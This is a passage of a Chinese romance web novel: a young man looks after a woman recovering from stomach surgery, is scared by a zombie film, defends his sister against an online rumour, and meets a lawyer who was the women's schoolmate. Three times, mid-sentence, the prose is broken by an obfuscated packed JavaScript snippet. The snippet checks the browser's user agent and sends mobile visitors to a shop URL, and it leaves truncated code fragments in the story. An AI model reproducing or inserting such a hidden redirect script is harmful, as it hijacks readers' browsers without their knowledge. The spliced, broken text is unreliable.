人上了岁数后,觉少,临床的叔叔醒得早,出去了一趟,动作挺轻的,祁放跟着醒了。 他低头瞧了眼怀里的人,又闭上眼,想把美梦做久点。 没等付轻屿睡醒赶她,护士来给挂吊针,祁放美梦也跟着散了。他起身时,想要叫醒付轻屿,没想到她已经睁开眼,不知何时醒的。 护士手里捣鼓着线管,问付轻屿,“去不去卫生间,一会扎上针,再去就麻烦了。” 付轻屿起身,“麻烦你等一会。” “没事。”护士说,“我先给阿姨量血压。” 睡了一觉,胃里已经没什么感觉了,就是两腿发飘,差不多两天没吃饭,饿得没劲了。 祁放伸手扶她,付轻屿也没说什么,到了卫生间外,两人默契的放手,谁也没说话。 付轻屿出来后,洗了把手。祁放就在外面等着,见人出来就扶了上去。 祁放心思挺细的,有的时候,付轻屿都会有些恍惚,毕竟,冯适跟她在一起的时候都没这么细心过。她想着,笑了下,“我这点小病,倒是生出了大病的气势,走路都得有人搀着了。” “这哪是小病,”祁放可不觉得这是开玩笑,反而有些严肃地说,“你也太不当回事了,上麻药动手术,得好好养一养,至少吃要精细些。” 祁放说完,还是觉得不妥,“你和我姐都少喝酒,不是个事,本来就饥一顿饱一顿的,再喝酒,胃真受不住。不对,你不是少喝,半年内都不能喝了,医生说的。” 他怕自己说了,付轻屿不听,最后搬出医生来压她。 付轻屿笑了下,“哎,行啊,生了个病,被小孩管到头上来了。” 祁放听见‘小孩’两字,一秒炸毛,“我不是小孩,你别老说我是小孩。” “好好好,不是。”付轻屿说,“等会自己去吃点东西……” ‘累了就回去’,后面半句付轻屿没说,懒得跟他客套了。他昨晚都耗在这了,不差这十几个小时,说了也是白说。 祁放应下,“嗯,等你打上吊针,我就去。” 说是去吃饭,祁放来回也就半个小时。付轻屿不好逼问他吃的什么,就觉得这个速度,跟他奶奶家养的大黄一样,转眼盆就空了。 话在嘴里迂回一会,她开口说了句,“吃饭别狼吞虎咽的。” 祁放拿出平板,刚想画画,听她突然来了这么一句,先是带着疑惑‘啊’了声,随即反应过付轻屿的意思,笑着说:“我吃得不快,找的地近,跑着去的。” 付轻屿嗯了声,让他画自己的。 胃里轻快了,就是饿的有点发飘,医生不让吃东西,付轻屿只喝了几口热水,半倚在床上看手机。 工作群的消息不多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966546|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她大体看了遍,《趣味早知道》下期嘉宾有冯适。 该来的总会来。 上次聊天结束后,冯适没再发过消息。 两人在这个圈子里,早晚要碰到,只是没想到赶在这个岔口上。这种场面,不是什么问题,付轻屿能应对,只希望冯适不要在节目上吊链子。 付轻屿媒体软件,后台有不少私信,尤为显著的一条是奇亚发来的合作邀约。 紧随其后的一条,还是这个品牌的合作邀约,沈则序代表奇亚发出的。这个被大家称为‘奇亚小太子爷’的人,样貌还算不错,经常活跃在网络上。 付轻屿看着合作邀请,很心动,毕竟大品牌给的报价高,她没想跟钱过不去。但是沈则序这个人,付轻屿一点也不想沾边,他花花新闻太多,盯着他的眼睛也太多,是个麻烦人,对她的工作影响不好。 沈则序撩拨的几句话,付轻屿都没回。 这个小花花肠子不是个长情的人,网络上美女多,付轻屿在等他转移目标。据她了解,应该超不出两个月,沈则序就跟喝了孟婆汤一样,完全不记得她这号人。 可惜了这次的秋季合作,付轻屿迂回了几句,跟品牌方说档期排不开,期待下次合作。 品牌方那边也是差不多的客套话。 付轻屿放下手机,偏头看向祁放时,他正在回复消息。 可能是感受到她的目光,祁放抬头看过来,“怎么了?” “没事。”付轻屿好奇他在干什么,在跟谁聊天,没问出口,他自己说了。 “你记不记得,前几天我跟朋友帮了一个醉酒的女生,”祁放指了指额角的疤痕,“就是去你家上药的那天。” 付轻屿点头。 祁放继续说:“她昨天去我兼职的地方道谢,我没在。飞哥,就是我那个朋友见到她了,无意间提到过我的名字,刚才学校让学长学姐统计信息,她负责我们院的新生接待,信息一对,我俩都吓了跳。” “挺巧的。”付轻屿逗他,“飞哥?我怎么记得,你说在江城没朋友啊?” 祁放愣了下,心虚地摸摸鼻子,“他之前回家了嘛,这两天才回来。” 付轻屿憋着笑点头:“这样啊。” 祁放看她一眼,知道自己被识破了,羞地扯开话题,“我姐说明天回来。” 付轻屿问:“颜泠跟你说了?” 祁放点头,就知道提起颜泠肯定能转移她的注意力。 付轻屿叹气,颜泠是真跟她闹脾气了,一连两天都没说话。不过,祁放在这,该知道的,颜泠肯定都知道了,不然,以她的性子,不可能沉住气。 “你姐这个人,总爱生气上火,对身体不好,你说说她。” 祁放震惊:“我说她?她能让我说?她没事不骂我都算良心发现。不是,我姐在你眼里究竟是个怎样的人?她难道会听劝吗?” 颜泠还真不听劝,付轻屿也是随口一说。 前一个问题,付轻屿认真想了下,“你姐直率,随心所欲,是个特别好的人。在我这,是最好。” 祁放愣了下,下意识问了句,“那我呢?” “嗯?” 祁放轻咳一声,又问:“在你眼里,我是个怎样的人?” 付轻屿看他,很难避开那双透着光的眼睛,“你啊,说话直,鲜活,生动。” 祁放直勾勾看她,见她停住不说,立即追着问:“还有吗?还有吗?” 付轻屿笑了下,又送他两字,“装乖。” 祁放:“???” 乖? 祁放指着自己,不可置信地问:“我?乖?” 付轻屿笑笑,点头不语。 祁放满脑子的问号,乖?他在付轻屿眼里……乖? 就算不是可靠,不是帅,不是聪明,不是有趣…… 也不能是乖吧? 乖? 那也不对啊,怎么还是装乖了?那反过来,是说他不着调?还是坏? 装乖?坏? 16. 16 祁放满脑子只剩两字‘装乖’,见付轻屿的注意力回到手机上,他没再追问。 难道是因为之前说在江城没朋友,付轻屿知道他撒谎了,故意这么说的? 祁放挠了挠头发,偏头转向一旁,脸颊微红,不好解释。总不能说,是为了粘着她才说谎的,感觉像告白一样,现在说也不合适。 ……得找个机会。 付轻屿下午做了个检查,没什么问题,办理出院。 祁放从医院跟到家里,撸起袖子,说要露两手。付轻屿前几天只能吃流食——米汤或者煮成粥的面条。他看看了家里现有的食材,只大米。 “你想喝米汤吗,还是想吃面条?”祁放从厨房探出头问。 付轻屿看他,“你还真要做?我等会点份粥就行。” “那不行。”祁放立即站出来,“术后第一天,医生说了,不能喝带渣的,粥更不行了。” 付轻屿看出来了,祁放没开玩笑,他是真打算做饭。 “米汤就行,我也没什么胃口,麻烦你了。”付轻屿不放心地问了句,“你……会做饭吗?” “不会,但是我能学。”祁放拿起手机,搜索框内输入几个大字,‘如何熬好米汤’。 付轻屿没打击他,默默找了家外卖,将豆浆加入口袋给自己加了条后路。 “一把大米,冲洗干净,大火煮开……” 付轻屿听着手机外放的声音,走到厨房门口,祁放动作利落,看着很会做饭的样子。 付轻屿站在厨房门口监工,疑惑道:“你不会做饭?这操作挺娴熟的。” “家里开饭店的,我以前经常打下手,炒菜熬粥真没做过。”祁放转头冲她笑了下,“我爸炒菜特别好吃,我多少能遗传点。” 遗传这东西可不好说,付轻屿心想,她爸妈都是学霸,到她这可能是基因突变了,没有异常出众的学习成绩,倒发掘了点艺术细胞出来。 付轻屿顺着他夸了句,“瞧你这架势,肯定好吃。” 祁放傻笑了下,被夸得不好意思,不会接话了,只嗯了声。 水开后转小火熬半个小时,祁放不停用勺子搅拌,防止粘锅。付轻屿倚着门框看他,本想说两句活跃气氛,又不忍心打扰这份安静。 付轻屿看他把米淋出来,又盖上盖子,“还要煮吗?” 祁放擦手清理台面,听声音才注意到她在门口,“还得熬会,你去坐吧,一会就好。” 付轻屿应了声“好”,觉得客厅太安静,转头问他,“我找个电影看,你有什么不看的类型吗?” “没有,我都行。” 付轻屿信了他这句话,按自己喜好找的。住院第一天喝了点粥,剩下两天全是喝水抗下来的,可能吃得太寡淡了,她急需点东西刺激一下大脑皮层,转换状态。 最后选了个僵尸片,偏搞笑的。 祁放在厨房,听着客厅的动静,只感觉背后阵阵阴风刮过。 他守着锅,严格遵守教程时间关火,自己先尝了下,就是大米的香味,应该是成功了。 祁放换了个碗,给付轻屿盛得满满的,顺手带着勺子。 付轻屿看他出来,想起身接着,又听祁放说:“不用接,在哪吃?” 付轻屿已经在沙发前搭好窝,顺手指了指茶几,“就在这吧。” 祁放将碗推过去,递过勺子,“你先尝尝。” 话音未落,电影里‘啊’一声尖叫,祁放吓一激灵,转头看过去,僵尸正破棺而出。 付轻屿家的投影仪异常清晰,祁放感觉僵尸直冲他蹦过来,眼前一黑,两腿发软,一屁股坐在了沙发上。 “挺好喝的。”付轻屿没说客气话,米香味很浓,又不见米粒,米汤熬的跟粥一样稠,“手艺了得,看来真遗传到了。” 没听见回话,付轻屿偏头看过去,祁放正咬着下嘴唇发愣,两手紧抓沙发。 付轻屿伸手拍他,祁放又是一激灵,她问:“你……害怕恐怖片?” 付轻屿和颜泠都是恐怖片的十级爱好者,找的这部电影,在恐怖片里,也就是入门级别的。 “啊?……哈!怎么可能?”祁放手还有些发抖,说话也没了逻辑,死活要展示自己无所不惧的一面,“我怎么会害怕,这、这种电影,我经常看的,我想了点别的事。” 祁放装得像,付轻屿没看出什么来,“你不吃吗?怎么只盛了一碗?” “熬得不多,我点了外卖。”祁放拼死看着电影,咽了下口水,庆幸没演到吓人的地方。 付轻屿手里的粥不香了,叹口气说:“我也想麻辣鲜香。” 祁放吓得大气都不敢喘,还没忘医生的叮嘱,“半个月内不能吃辛辣。” 付轻屿看着电影下饭,随口说:“那你还当着我面点外卖。” 祁放收回目光,松一口气,“我点的拌饭,没什么味道。” “行吧。” 祁放出一身虚汗,感觉自己逞能逞过了,偷偷做了几个深呼。死要面子活受罪,怕付轻屿会拿他当小孩,笑话他,说什么都不愿承认害怕恐怖片。 直到接起外卖电话,他才起身离开,在门口透了口气。 祁放接过外卖,本想在门口多待会,缓缓。外卖小哥一走,没几秒,走廊的灯就熄灭了,应急标志泛着绿光,搭配着背后的恐怖音乐。 祁放喉头一哽,“砰”的一声关上门,大热天里打了个冷颤。 付轻屿被关门声吓了跳,朝门口看过去,“怎么了?” “没事,”祁放摇头,“手劲使大了。” 付轻屿说:“别傻站着了,过来吃饭啊。” 要是没有那僵尸电影,祁放听到这话,早就扑过去了。他咽了口唾沫,硬着头皮走过去。 “没事没事没事,都是假的,相信科学。”祁放心里念叨,坐在茶几旁,尽力将注意力放到外卖上,拆个包装跟绣花一样。 付轻屿看他,终于看出点不对劲,猜到他是害怕了。 两人背靠沙发,窝在茶几前。祁放将近一米九的大个,缩成个团,咬着下嘴唇,一眼都不敢抬头看,不知道在嘀咕什么护身咒。 这副模样,实在让人忍不住想要逗他。 付轻屿一手搭在沙发上,悄悄伸到他另一边肩膀,找准时机拍了下。 电影里的惨叫,一只手拍在肩膀,祁放“啊”的一声,整个人两哆嗦,心脏漏了拍,外卖也不拆了,只想找个地方躲起来。 他慌忙扫了眼,转头看到付轻屿,一把抱了上去,头埋进人肩颈,嘴里的话哆哆嗦嗦半天才说出口,“……不行,出来了,那东西出来了,拍我肩膀。” 付轻屿依靠沙发,一手横在祁放身后,倒是方便他抱了。 祁放发抖,头发挠的她耳朵痒,嘴唇和鼻息剐蹭她颈肩。付轻屿心尖跟着一颤一颤的,呆愣半晌,才伸手拍他的后背。 这一拍,还没等她说话,祁放身体一绷,恨不得整个人扑到她身上去,哆嗦着,“来了,又来了。” 付轻屿被迫仰起头,半托着他的腰,防止人滑下去,腾出一只手摸索出投影仪遥控器,将影片暂停了。 付轻屿没想到祁放反应这么大,现在只能轻声说:“没事,吓唬你玩呢,我拍的。” 祁放听到这话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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附带几张图片。 “什么玩意?”祁放皱眉,冠宏飞看着得有五十岁了,岁数跟她爸一样大,“颜泠的眼光挑着呢,能看上他?这拍照片的人想什么呢?这动作,搭了下肩膀,那男的好像还搂了下颜泠的肩膀。” 付轻屿拿着电脑回来,“你给颜泠打个电话,看看能打通吗。” “好。”祁放打过去,显示正在通话中,“冠宏飞很厉害吗?” 付轻屿点头,“老演员了。” 冠宏飞早年是个花花肠子,那时候年轻,绯闻没断过,结婚后消停了。由于前期的浪子形象太深入人心,大家对他的印象停留在那时候,没怎么变过。 颜泠传过几段绯闻,再加上她那张不饶人的嘴,喜欢跟营销号硬刚,没少结下梁子。不过她不火,营销号也懒得在她身上耗费时间,硬刚到最后,往往都是不了了之。 两人辟谣很快,图片是电影拍摄结束,大家聚餐后拍的,不存在不正当关系。 颜泠没签经济公司,虽然资源差点,不过更自由些,这时候不用受气,想刚就刚。 付轻屿看电影负责人那边一直没有发声,应该是想等热度在高点,借此宣传一波电影。 颜泠也是不负众望,直接在发帖人下硬刚,结果两人太过有梗,热度一路飙升,吃瓜风向也跟着转变,都在看十八线小花大战营销号。 祁放打了四五个电话,都是忙线中,最后终于通了。 17. 17 电话那头乱糟糟的,祁放叫了声姐,没人应。 “臭豆腐臭豆腐,闻着臭吃着香……烤玉米,又香又甜的烤玉米……” 祁放再次开口:“姐,回话,颜泠?” 颜泠盯着老板,“多加点辣椒,还有那个玉米,要焦一点的,香。”她将手机递到耳边,略带不耐烦,“你又怎么了?” 祁放直奔主题,“你那条热搜,怎么弄?我看热度越来越高了,直冲榜一去了,要紧吗?” 颜泠一听,没当回事地说:“能有啥事,营销号急了,等着我跟他打官司。付轻屿出院了吗?今天做检查,没事吧?” 祁放的思路被她带偏,“没事,我们都到家了,吃饭呢。” 颜泠一琢磨,品出点不对劲,“什么叫‘我们都到家了’?你跟着轻屿回家了?你少烦人,别打扰她休息。” 祁放嗯了声,见付轻屿伸出手,他最后跟颜泠说了句,“你自己跟轻屿说吧。” 颜泠还没来及拒绝,就听见了付轻屿的声音,“这事,电影宣发那边怎么说,连条解释都不打算发?” 因为住院的事,颜泠还跟她闹着别扭,语气也是不咸不淡的,“刚才刘姐发了条消息,说一会出声明,电影那边肯定想等热度再高点。” 付轻屿滑动鼠标,浏览着颜泠和营销号的回复,又翻看网友的评论,“真硬刚到底?” 颜泠说:“这人不是第一次造谣我了,他这么有气势,我肯定跟他耗到底。” “律师得好好找,要靠谱点的。”听颜泠嗯了声,付轻屿没再看评论,网友说啥的都有。她起身走到阳台,语气软下不少,“明天什么时候回来,我去接你。” 颜泠啃一口玉米,哼了声,“我可不敢,我哪敢劳烦您啊。您住院都没空跟我说,我哪有这个福气,我又不是您那贴心人。” 付轻屿笑了下,“你都住心里了,行了,下次肯定跟你说。” 颜泠急忙呸呸呸,“什么下次?没有下次。” 付轻屿看着窗外,语调往人心尖上揉,“说真的,想你了,明天什么时候回来?” “中午十一点多吧。”颜泠被人哄的没脾气,“怎么样,手术难受不?” 付轻屿笑着说:“还成。律师我也帮你看着,抓紧定下来,耗的时间太长,对你也不好。” 颜泠自然是知道的,两人又聊了几句,才挂断电话。 付轻屿一时间忘记手机是祁放的,顺手往下划了下,拉出一条微信消息。 黎夏师姐:今天晚上工作吗?还是想当面跟你道个谢。 付轻屿眉毛轻挑,当做没看到,将手机递给祁放,“几点去兼职?” “九点到。”祁放还在看颜泠的词条,眼睛没离开电脑,扫了眼时间,差不多还有两个小时。他转头问付轻屿,“我能在这待到八点四十吗?” 付轻屿耸耸肩,“随便你。” 祁放回了个笑,看着评论区,擦拳磨掌,“这几个软件,我能在你电脑上注册一下吗?我想回复他们。” 付轻屿看向电脑,她打开的几个娱乐软件都是现在比较火的。“你没用过这几个软件?” 祁放认真看了看,“这款浏览器我常用,没看过娱乐板块,其他的都没用过。” 付轻屿着实惊讶,“你玩手机都玩什么?” “漫画、影视、音乐、还有微信什么的……”祁放一顿,尴尬地笑了下,“我是不是有点跟不上时代?” “没有,娱乐形式不同而已。”付轻屿继续放电影,“你随便用,电脑上没什么重要东西。” “谢谢。”祁放把几个平台都注册好,开始厮杀,他只回复那些胡乱骂人的。 付轻屿听着键盘声飞起,心思也被从电影里拉了出来,“其实你不用回复他们,有些是水军,还有些人,可能就想单纯发泄一下,你回了,他们也是不痛不痒,浪费时间。” “没事,我现在有时间。”祁放手里动作没停,“替我姐怼他们,要不然,颜泠看见这些得气炸了。”他手上顿了下,揉揉鼻子,“看到个帮她说话的,说不定,心里还好受些。” 祁放一副怼死对面的气势,付轻屿把最后这句话听进心里去了,想起他漫画下的那些评论。 付轻屿静静他,祁放认真做事的时候,眉头微微皱着,外加他五官线条干净整洁,有几分冷脸的意味。 半晌,付轻屿轻声问:“如果是你收到这样的评论,要怎么办?” 祁放疑惑地“啊”了声,脸上的寒气全无,像头小羊羔,笑着说:“看完哭一场,不管它,哭完了接着画。” 语气跟开玩笑似得。总说笑话三分真,是不是借着玩笑说真心话,说话人自己可能都不清楚。 付轻屿欣赏地看了他一眼,收回视线,嘴角弯起。此刻才算真正认识他,原来都是流着泪往前闯的人。 祁放干劲十足地待到八点四十,才将电脑交给付轻屿,匆匆忙忙打了个车,不忘问她:“等明天,我能跟你去接颜泠吗?” 付轻屿点了个头,“我提前给你发消息。” 祁放拿着手机准备走,又想起吃饭的事,“锅里没多少米汤,你明天早上想吃什么?” 付轻屿一懵,听他这意思,还想来做早饭?总感觉他热情过头了,自来熟能熟成这样? “我早上点杯豆浆就行,你不用操心我。快去吧,一会该晚了。” 祁放一开门,电影里的恐怖画面在脑中闪过,感觉后背直发凉。他咽了口唾沫,坚持不让付轻屿出来送,自己打开手电筒壮胆。 付轻屿没跟他客气,站在门口没往外送,认真地说了句,“祁放,这两天谢谢你。” 话语声落下,电梯正好打开,祁放没来及反应,付轻屿又催他一句,“快走吧,一会该晚了。” 祁放‘啊’了声,又快速撂下句,“别跟我客气。” 付轻屿看他窜进电梯后,关门走向阳台。 楼下,祁放窜成兔子,一路奔到大门口的路灯下,前后左右警惕着,直到车来,才敢放松。 付轻屿没忍住笑,将祁放害怕恐怖片这事记住了。 —— 祁放下车,还没走进酒馆,听旁边传来一句调侃,“今天怎么穿得这么朴素,不骚包了?” 陈昊飞刚抽完烟,站在酒馆外散味,一看祁放就没收拾自己。 祁放跟朋友在一起,向来不太要脸,“朴素怎么了?我穿啥都帅。” 陈昊飞笑他,“你追人追的怎么样?这架势,不追了?” 祁放晃晃手指,一脸臭屁道:“追着呢!我刚从她家过来。而且,我隐隐感觉到,付轻屿对我有一点点好感。” 陈昊飞拍拍他的肩膀,叹一口气,“你现在处于单恋状态,最可怕的就是产生对方也喜欢你的错觉,懂吗?” 祁放一脸茫然,显然没听懂。 陈昊飞送他一个微笑,“叫你少自作多情。” “……”祁放把举在陈昊飞面前的食指换成中指,随后一记回旋踢甩向他小腿。 陈昊飞一个跨步躲开,附赠一句,“不听老人言,吃亏在眼前。” “你没听过后半句,尽信老人言终生未向前。”祁放跟在他身后走进门,又发现不对劲的地方,“不对啊,飞哥你这么懂,是不是经历过?怎么不跟我们讲讲。” 陈昊飞带着个不深不浅的笑,“讲啥,没经历过。” 祁放说:“别啊,大情圣,快讲讲,这是让那个姑娘给伤了。” 陈昊飞一脸陷入回忆的表情,半晌才开口,“没有的事,说哈?” 祁放就算是个傻子,也能看出来绝对有事,还没来及逼问,就听有人叫了自己一声。 “陈昊飞。祁放。” 祁放转头看了眼,是个女生,他调动全部脑细胞核对信息,最终发现自己确实不认识她。 陈昊飞冲女生点了下头,算是回应。 祁放一脸茫然,也点头回应了下。 “终于见到你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966548|193406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我叫黎夏。” 名字好像在哪听过,祁放一时间没反应过来——他没有叫黎夏的同学。 黎夏看他一脸懵,又解释了句,“前几天醉酒,多谢你们帮忙。” 祁放这才想起来,“是你啊,师姐。” 当时情况太乱,黎夏又醉醺醺的,祁放没注意她的长相。他只记得陈昊飞回去叫人,跟过来一个女生,说是黎夏的朋友,去了趟卫生间,没想到出来后发生了这事,哭的那叫一个惊天地泣鬼神。 黎夏笑了笑,“还是想当面谢谢你们,昨天带的小礼物被陈昊飞拒绝了,今天带了些水果,这个总能收下了吧。” 水果礼盒包装得很漂亮,价格估摸着一两百,没有太夸张,陈昊飞笑着道了声谢,接下。 祁放没想接,“举手之劳,没什么。” 黎夏说:“那也给你们添麻烦了,一点水果,收下吧,要不然我良心不安。” “谢谢师姐。”祁放想了下,她说得有点道理,而且颜泠明天回来,家里也没水果了。 黎夏瞄了眼陈昊飞,又对祁放说:“昨天过来听说你请假了,今天给你发了条消息,看你没回,我还怕白跑一趟。” “啊?”祁放拿起手机,还真有条消息,“我喜欢的女生住院了,这两天都陪她来,没注意到消息,不好意思。” 黎夏笑着说:“没事没事,反正我今天也打算过来玩。” 陈昊飞稍微叮嘱了句,“自己一个人,别喝多。” 黎夏笑着看他,点点头,“不会。” 陈昊飞没多说,转头往后台走。 黎夏呼了口气,转头问祁放,“陈昊飞没有女朋友吧?” “应该没有。” “喜欢的人呢?” 祁放绞尽脑汁想了下,“应该也没有吧,他这人闷骚,啥事都喜欢憋着。” 祁放被黎夏盯得不自信,拿起礼盒往身前挡,“我刚才说了,我有喜欢的女生。” “不是。”黎夏笑了声,“我看上你朋友了,能不能帮我问一下,微信也推我。师姐把大学秘籍传授给你,保准让你一个坑都踩不到,怎么样?” 祁放思忖片刻,“我先问一下,他要没喜欢的女生,我就推给你。交给我,放心吧。” 黎夏听他说完最后一句话,隐隐有些不放心,“你问得委婉点,先别说我问的。” 祁放打了个ok的手势。 他走到陈昊飞身后拍了一巴掌,用隔着十米都能听到的声音,委婉地问:“哎,你现在有没有喜欢的女生?” 黎夏看到祁放委婉的提问后,石化在台下。 陈昊飞连个白眼都懒得给祁放,“脑子有泡,就去治。不是谁都跟你一样,满脑袋粉红色泡泡。” 祁放听出他的潜台词,并念了出来,“嗷,没有喜欢的女生。” 陈昊飞真懒得理他,自顾自地擦拭着架子鼓。 祁放轻声说:“我把你微信推给黎夏了,她是江城人,说以后有什么事,可以找她帮忙。” 陈昊飞没表态,满眼都是他的架子鼓。 祁放给黎夏发了条消息,“没有喜欢的女生,不过他脑子有泡,你小心。”随后,他把陈昊飞的微信推过去了,并附带一句,“他不一定会加。” 黎夏:“谢谢,我觉得他对我也有好感。以后有关学校的事,尽管问我。” “……”祁放看着消息,又看了看陈昊飞,心说:“啊?她从哪看出来的?” 祁放装好手机,调试音箱话筒,准备工作。脑子里三百六十度环绕着那句“叫你少自作多情。” 半晌,祁放突然拍了下陈昊飞,给人吓一激灵,“我决定了!我明天要问她对我有没有好感。 这样问,是不是不好回答? 我要不要先问她对我什么感觉? 我能直接说我喜欢她吗?” 陈昊飞拍他的肩膀,使劲捏了捏,把刚才那一巴掌还回去,笑着说了句,“好自为之。” 18. 18 付轻屿将剩下的米汤放进冰箱。 熬这一锅,一个半点,味道挺不错的,扔了浪费,她第二天早上热着喝了。 付轻屿先给颜泠发了消息,问完到站时间,又跟祁放说好几点走,才开始收拾。 人一生病,精神气就跟不上。付轻屿看着镜子里惨白的脸,给自己画了个淡妆,才觉得有点人样。 前两天顶着这副鬼样子,祁放没被她吓到,也是挺厉害的。 付轻屿收拾好下楼,祁放已经等在门口,见她出来便围了上去,“今天感觉怎么样?胃还难受吗?” 手术做完,付轻屿把心揣肚子里,想着养养就好了,没再把这病当回事。这两天被祁放反复问,她倒有些不好意思,“没事了,哪都不难受,挺好的。” 祁放点点头,不知道从哪掏出袋热豆浆递给她,“吃东西了吗?” 付轻屿没接,笑着说:“吃了,你自己喝吧,我实在喝不下了。” 祁放点点头,拆开喝了。 付轻屿开车,今天祁放出奇得安静,没怎么开口。付轻屿察觉到了,没好多问,想着给他留些的空间静静,毕竟谁还没点心事了。 祁放心里琢磨,面上摇摇头,不能现在问,万一付轻屿真对他一点好感都没有,再接到颜泠,情况就麻烦了。 得等颜泠不在的时候,或者,等今天结束,快分开的时候也行。 祁放心里捋顺,面上不再沉着,转头问付轻屿接到颜泠后的安排。 付轻屿听祁放上扬的小语气,知道他心事想开了,弯起嘴角笑了下,心说这孩子太藏不住事。 “先去吃午饭,然后去见个律师。” 祁放点头,一副听安排的样子。 说到律师,祁放在网页找到娱乐版块,颜泠的词条已经被顶下去,他扒拉到底都没找到,就此作罢。只是没想到娱乐迭代这么快,还不到一个晚上,词条上的事全换了遍。 接到颜泠,祁放被她从副驾驶赶到后排,委屈巴巴地坐下,也不吭声,试图引起付轻屿注意。结果前排两人聊得欢,给他忘脑袋后面了。 颜泠选的饭馆,付轻屿点了份鸡蛋糕,其他菜一口没吃,跟着闻了个味。 祁放还紧盯着,生怕她去吃辛辣刺激的东西。 付轻屿托人问到几个律师,圈内名声不错,可惜比颜泠晚了步,人基本定下了。 “万和律所,一个前辈推荐的,处理过很多这种案件,有经验。”颜泠说,“我早上跟律所联系的,那边推荐了一个律师,姓李,说是先见面聊一下。” 付轻屿托人问的律师,也有万和律所的,听颜泠说完,算是放心了。 李律师给颜泠发的地址是个咖啡馆,三人吃完饭,快速赶过去。 午饭刚过,咖啡馆内零零散散坐着几个人,闲聊休息的人居多。颜泠扫视一圈,目光落到靠窗位置的男人身上。 男人一副黑扁框眼镜,额前黑发跟眼镜框勾.搭在一起,挡住了眼睛,高鼻梁和薄唇更加抢眼。 颜泠没给李律师发消息,径直朝男人走过去。 男人的注意力在电脑上,直到桌边站了个人,才分神抬头看去。 在他还没看清人时,颜泠食指一勾,将他眼镜带着碎发勾了上去,漏出一双狐狸眼,眼尾上扬,透出股媚劲。 颜泠歪头笑了下,“好久不见啊,老同学。” 这声老同学,活生生叫出了‘老情人’的味道。 付轻屿看过去,眉心微微蹙了下,认出他来,“李杨?” 李杨将颜泠的手拿开,带好眼镜,生疏地说:“坐吧。” “李律师啊?”颜泠调侃着叫了声,“你知道是我,怎么不说全名?早知道是你,中午一起吃个饭了。” 李杨盯着电脑屏幕上,没看她,“平常自称李律师,习惯了。” 付轻屿带祁放走过去,不确定地唤了声,“李杨?” 李杨这才看到她,随即站起身,规规矩矩地打了声招呼,“好久不见,你们一起来的?” 付轻屿点点头,笑着说:“你都没怎么变样。” 颜泠说:“是啊,品味一点没变,黑边框眼镜戴了十多年,真爱啊。你说你就一百多度,干什么整天戴个黑框子,它救过你命啊。” 李杨‘嗯’了声,“救过。” 颜泠看向付轻屿,“你看他,呛我。这是老同学见面该有的态度吗?”她说着重新看回李杨,语气不善,“好多年没见了,我还挺想你的,没想到都成李律师了。” 李杨额前碎发和黑框眼镜挡着眼,表情看不出什么变化,没吭声。 两人从小学就不对头,这都十多年了,没想到再见面,一秒变回老样子。从前,付轻屿经常被夹在中间,感受两人爱恨交割。这种熟悉的感觉又回来了。 祁放弱弱问了句,“你们三个是同学?” 李杨扫了眼祁放,眼神不咸不淡的。 祁放愣了下,总感觉他的眼神不是很友善。 颜泠给李杨介绍:“这是我弟,祁放。你俩应该挺有话题的,一个钟爱黑框眼镜,一个钟爱鸡毛毯子发型。” 李杨看向祁放,“李杨,木子李,杨树的杨。你好。” “你好。”祁放点了点头。颜泠一句话说完,李杨看他的眼神更糟糕了。 祁放悄悄凑到付轻屿耳边,“他俩是不合吗?” 付轻屿点头,又摇摇头,最后给了他三个字,“很复杂。” 老话说物以类聚人以群分,小孩子分帮结派的规则也很奇怪。 付轻屿、颜泠和李杨最初是被迫分到一起的,因为三人父母总是缺席家长会和学校活动,渐渐被传成没人要的小孩,三个臭皮匠就聚在一起了。 李杨属于不太爱说话的性格,三人初中关系来往最密,到了高中,李杨渐渐淡出三个臭皮匠的队伍,高考完,跟她们几乎断了往来,只有过年过节的时候会客套句。 “你居然学的法,怎么没记得你说过。”颜泠开始嘘寒问暖,“你在江城定下了?找女朋友了吗,应该还没结婚吧,我俩都没收到信,你这人太不仗义,你大学不会也在江城上的吧?” 李杨淡淡答了句,“没有。” 付轻屿揉了揉额头,没眼听颜泠问的话。李杨学的法,在隔壁清河上的大学,她复读了一年都记得。 颜泠对不感兴趣的事,一向不往心里记,更何况,李杨在她心里是个叛徒——两人喜欢呛嘴,小学呛到高中,不知道哪一天开始,李杨不跟她呛了,态度也是越来越冷淡,一副要断联系的模样,连带付轻屿一起断。颜泠没少骂他,骂得最多的就是‘李杨没义气’。 付轻屿说李杨是男生,可能意识到男女有别,想把关系拉开些。颜泠觉得李杨脑袋让门挤了,高中才意识到男女有别,不是脑袋被挤了,就是得神经病了。 “啊?我问了这么多,你就回个没有?”颜泠笑出一股火药味,“到底是哪个没有?” 李杨将电脑转向她,语气平淡,“先说正事。” 付轻屿急忙把话题往正事上转,“先说正事吧。”李杨现在是无声回怼,任由颜泠说下去,两人绝对要呛起来。 